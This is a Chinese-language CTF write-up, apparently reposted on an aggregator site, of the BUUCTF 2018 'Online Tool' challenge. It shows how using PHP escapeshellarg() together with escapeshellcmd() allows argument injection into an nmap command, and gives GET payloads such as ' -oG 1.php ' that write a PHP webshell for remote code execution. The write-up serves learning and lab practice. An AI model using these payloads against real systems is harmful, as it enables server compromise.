栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

『CTF Web复现』[BUUCTF 2018]Online Tool

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『CTF Web复现』[BUUCTF 2018]Online Tool

文章目录
  • 利用点
  • 代码审计
  • 解题
    • nmap写文件
    • escapeshellarg() + escapeshellcmd()使用不当
  • Payload

利用点
  • nmap写文件
  • escapeshellarg() + escapeshellcmd()使用不当
代码审计
 

传入的GET参数$host经过escapeshellarg和escapeshellcmd处理,然后拼接到已有的nmap指令执行

解题 nmap写文件

escape转义了特殊符号,这步是不能跳出来的,只能寄希望于nmap;查阅help文档发现nmap有output写文件的功能,那么就可以写入一句话木马来RCE

可以通过-oN和-oG参数写入文件

nmap '' -oN 1.php


那就先试试-oN

escapeshellarg() + escapeshellcmd()使用不当

起一个本地环境

';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '
'; echo $cmd; $cmd = escapeshellcmd($cmd); echo '
'; echo $cmd; echo '
'; echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;

直接传入'' -oN 1.php

[GET]http://URL/escape.php?cmd='' -oN 1.php
'' -oN 1.php
''''''' -oN 1.php'
''\'''\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'''\'' -oN 1.php'

执行的命令可以简化为:

nmap  '\'' -oN 1.php'

可以看见两个由于两个函数依次处理,会造成后部有引号残留问题导致命令被截断

PHP escapeshellarg()+escapeshellcmd() 之殇

那么我们将引号从-oN之前转移到最后,即传入' -oN 1.php'

[GET]http://URL/escape.php?cmd=' -oN 1.php'
' -oN 1.php'
'''' -oN 1.php''''
''\''  -oN 1.php'\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\''  -oN 1.php'\'''

相当于直接运行:

nmap   -oN 1.php'\'

但是,这一步出错了,在于写文件名把最后的斜杠写进去了

那么我们只要在末尾引号前加一个空格即可:传入' -oN 1.php ',目的是截断引号

[GET]http://URL/escape.php?cmd=' -oN 1.php '
' -oN 1.php '
'''' -oN 1.php ''''
''\'' -oN 1.php '\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' -oN 1.php '\'''

相当于直接运行:

nmap   -oN 1.php '\'

这里的文件名就正常了

上传后提示出错,应该是由于-oN写入了所有提示信息,因此写入无效的句点

这些无效的句点被PHP解析了所以出错了

那么我们换成-oG参数,我们可以看一下两个参数写入的区别:

使用-oG的内容没有报错信息,那么写入的一句话木马就是完整且不会解析出错的,因此我们传入' -oG 1.php ',蚁剑连接即可

Payload
[GET]http://URL/?host=' -oG 1.php '

欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/347881.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号